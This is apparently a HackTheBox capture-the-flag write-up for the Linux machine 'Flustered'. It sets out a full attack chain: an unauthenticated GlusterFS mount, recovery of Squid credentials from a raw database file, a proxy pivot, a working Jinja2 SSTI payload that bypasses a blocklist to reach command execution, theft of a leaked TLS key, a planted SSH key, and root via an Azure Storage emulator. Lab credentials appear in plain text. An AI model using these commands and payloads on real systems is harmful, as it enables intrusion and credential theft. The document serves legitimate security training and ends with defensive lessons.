HTB: Flustered Writeup
Flustered - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Flustered |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | flustered.htb |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Flustered chains together two under-secured storage backends — GlusterFS and the Azure Storage emulator (Azurite) — with an SSTI bug in an internal Flask app to go from zero to root. An unauthenticated GlusterFS volume leaks a MariaDB data directory, which yields Squid proxy credentials straight out of a raw InnoDB table file. The proxy is the only path to a loopback-bound Flask service whose app.py reveals user-controlled Jinja2 template rendering. RCE via SSTI is then used to read a world-readable GlusterFS TLS private key, which unlocks a second Gluster volume mounted as /home/jennifer — enough to plant an SSH key and land as a real user. From there, an Azure Storage account key found on disk exposes an Azurite blob container reachable through the box’s Docker network, which holds the root SSH key.
TL;DR: Unauthenticated GlusterFS mount (vol2) → MariaDB files → Squid creds via strings on passwd.ibd → Squid proxy pivot to internal Flask app → Jinja2 SSTI RCE → read world-readable GlusterFS TLS key → mount vol1 (/home/jennifer) → plant SSH key → user jennifer → Azure Storage key in /var/backups/key → Azurite blob on Docker bridge → root SSH key → root.
Reconnaissance
Port Scanning
nmap -sC -sV -T4 -p- flustered.htbResults:
22/tcp— OpenSSH80/tcp— nginx111/tcp— rpcbind3128/tcp— Squid proxy24007/tcp— GlusterFS management daemon (glusterd)49152/tcp,49153/tcp— GlusterFS brick processes (one per exported volume)
Service Enumeration
Squid (3128) required authentication — no anonymous access to whatever it fronts.
GlusterFS (24007 + brick ports) — rpcbind alongside 24007/49152/49153 is the signature of a Gluster trusted storage pool. Gluster peers exchange volume topology over the management port and stream file data over the brick ports; if the pool doesn’t enforce TLS + peer auth, any client that can resolve the server’s hostname can join and mount.
Vulnerability Assessment
- GlusterFS volumes exportable without authentication.
- Squid credentials recoverable directly from a raw MariaDB InnoDB table file.
- Flask internal app trusts a JSON body field into
render_template_string()— SSTI. - GlusterFS TLS private key left world-readable, defeating the second volume’s access control.
- Azure Storage account key stored on disk, exposing an internal Azurite blob service.
Initial Foothold
Unauthenticated GlusterFS Mount
# Install the Gluster client toolingsudo apt install glusterfs-client -y
# Gluster peers/volumes are resolved by hostname, not just IPecho "<TARGET_IP> flustered.htb" | sudo tee -a /etc/hosts
# Enumerate the trusted pool's exported volumesgluster --remote-host=flustered.htb volume list# -> vol1# -> vol2
# vol1 requires SSL client certs we don't have yet; vol2 does not enforce themsudo mkdir -p /mnt/vol2sudo mount -t glusterfs flustered.htb:/vol2 /mnt/vol2vol2 mounted cleanly and turned out to be MariaDB’s data directory (/var/lib/mysql) exported wholesale — every database’s on-disk table files, directly readable.
Credential Extraction Without a DB Engine
Rather than standing up a matching MariaDB instance to read the tables properly, the InnoDB table file for Squid’s passwd table can just be grepped for strings — InnoDB pages store row data close to plaintext for short VARCHAR columns:
strings /mnt/vol2/squid/passwd.ibd | grep -i friedman# lance.friedman:o>WJ5-jD<5^m3This recovers a working credential pair: lance.friedman / o>WJ5-jD<5^m3.
Squid Pivot → Internal Flask App
The proxy authenticates and grants access to an application bound only to loopback on the target — reachable exclusively through Squid itself:
curl --proxy http://lance.friedman:'o>WJ5-jD<5^m3'@flustered.htb:3128 http://127.0.0.1/app/app.pyThe application source shows the vulnerable pattern:
@app.route("/", methods=['GET', 'POST'])def index_page(): config = request.json template = f''' <html><head><title>{getsiteurl(config)} - Coming Soon</title></head> ... ''' return render_template_string(template)The siteurl value from the request’s JSON body is interpolated straight into an f-string, which is then handed to render_template_string(). Since the string is built before Jinja2 ever sees it, any Jinja2 syntax placed in siteurl is parsed and executed server-side — classic SSTI, not filtered at the input boundary at all.
SSTI → RCE
Standard Jinja2 sandbox-escape payloads relying on cycler or lipsum globals were blocked (the app or an in-path filter screens those specific names). Pivoting through the request object’s own global namespace instead reaches __builtins__ without touching a blocklisted token:
curl -H "Content-Type: application/json" \ -d '{"siteurl":"{{ request.application.__globals__[\"__builtins__\"].__import__(\"os\").popen(\"id\").read() }}"}' \ --proxy http://lance.friedman:'o>WJ5-jD<5^m3'@flustered.htb:3128 \ http://127.0.0.1/This works because every Flask request handler shares Python’s live global namespace — request.application (the WSGI app object) exposes __globals__ just like the view function does, and from there the reachable-object graph leads straight to __builtins__ regardless of which specific global names the app happened to blocklist. Command output is reflected inline inside the rendered <title> tag — no reverse shell needed, output is read straight from the HTTP response body.
Reaching vol1 via Leaked TLS Material
With RCE, the GlusterFS TLS files it needs to trust a second peer are readable:
# via the SSTI RCE{{ ... __import__("os").popen("ls -la /etc/ssl/glusterfs.*").read() ... }}# glusterfs.ca, glusterfs.pem, and glusterfs.key (normally 600) are all world-readableglusterfs.key being world-readable is not Gluster’s default — someone loosened it. Exfiltrating all three files and installing them into the attack box’s own /etc/ssl satisfies the SSL peer-auth check that previously blocked vol1:
# after copying glusterfs.{ca,key,pem} to local /etc/sslsudo mkdir -p /mnt/vol1sudo mount -t glusterfs flustered.htb:/vol1 /mnt/vol1vol1 turns out to be /home/jennifer, mounted directly.
User Flag & SSH Access
cat /mnt/vol1/user.txt# <redacted>
# The mounted volume is writable — plant a key instead of cracking onessh-keygen -t ed25519 -f ./flustered_key -N ""cat flustered_key.pub >> /mnt/vol1/.ssh/authorized_keys
ssh -i flustered_key jennifer@flustered.htbPrivilege Escalation
As jennifer, a backup file leaks an Azure Storage account key:
cat /var/backups/key# base64-encoded Azure Storage account keyEnumerating the host’s network interfaces shows a Docker bridge, and a service on that bridge behaves like the Azure Storage emulator (Azurite) — a common pattern where local Azure development/testing infra gets left running with default or overly permissive credentials. Azurite emulates the full Azure Blob REST API on a non-standard port inside the container, and the account key recovered from /var/backups/key is the same key that unlocks it.
From jennifer, the emulator is only reachable through the Docker bridge, so an SSH tunnel (local or dynamic port-forward through the jennifer session) brings it onto a loopback port that Azure tooling can talk to directly. Authenticating with the account name and the key from /var/backups/key against that endpoint (pointed at the emulator’s HTTP endpoint rather than the default *.blob.core.windows.net HTTPS one) exposes blob containers holding SSH key material — including a private key for root. Using that key against the box’s own SSH service completes the chain:
chmod 600 root_keyssh -i root_key root@flustered.htb
cat /root/root.txt# <redacted>Attack Chain Summary
Unauthenticated GlusterFS vol2 mount → MariaDB files exposed → Squid creds recovered from passwd.ibd via strings → Squid proxy pivot to internal Flask app (127.0.0.1) → app.py source read → SSTI in siteurl field → RCE via request.application.__globals__ → __builtins__ → os.popen → world-readable glusterfs.key exfiltrated → GlusterFS vol1 mounted (= /home/jennifer) → SSH key planted → user.txt (jennifer) → Azure Storage account key in /var/backups/key → Azurite blob service on Docker bridge → root SSH key retrieved → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning / service fingerprinting |
glusterfs-client | Mounting unauthenticated/TLS-authenticated Gluster volumes |
strings | Extracting credentials from a raw InnoDB .ibd file without a DB engine |
curl (via --proxy) | Authenticated Squid pivot + delivering the SSTI payload |
ssh-keygen / ssh | Planting an authorized key and interactive access as jennifer / root |
| Azure Storage client tooling | Authenticating to the Azurite emulator with the recovered account key |
Key Learnings
Techniques Practiced
- Unauthenticated enumeration and mounting of GlusterFS volumes (
gluster volume list, hostname resolution requirements, SSL peer-auth bypass via leaked certs) - Recovering credentials directly from raw MariaDB InnoDB table files without standing up a database engine
- Pivoting through an authenticated forward proxy to reach a loopback-only internal service
- Identifying and exploiting Jinja2 SSTI where partial keyword blocklisting fails to close the
__globals__/__builtins__traversal path - Abusing world-readable TLS private key material to defeat a service’s own access control
- Enumerating and authenticating against an Azure Storage emulator (Azurite) reachable via a Docker bridge network
Lessons Learned
- A GlusterFS trusted pool without enforced client authentication exports its entire underlying filesystem tree — including whatever another service (MariaDB) happens to store on that same volume.
- Secrets stored in a database are not safe just because “you’d need SQL to read them” — raw table files leak plaintext-adjacent data to a simple
stringspass. - Blocklisting specific Jinja2 globals (
cycler,lipsum) in an SSTI filter is insufficient; the full Python object graph reachable from any template context (includingrequest) offers alternate routes to__builtins__. The only real fix is to never render user-controlled strings as templates. - File permissions are as load-bearing as network ACLs — a single world-readable private key (
glusterfs.key) undid the intended access boundary between the two Gluster volumes. - Local development/testing infrastructure (Azure Storage emulator) left reachable on an internal network can hold production-sensitive material (SSH keys) and deserves the same access controls as the real cloud service it emulates.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup — Flustered (polarbearer, Doc No. D22.100.153) — used only for explanatory context on the GlusterFS SSL-certificate requirement and the Azurite/Azure CLI interaction pattern; all IPs, credentials, commands, and outputs in this writeup are from the author’s own solve.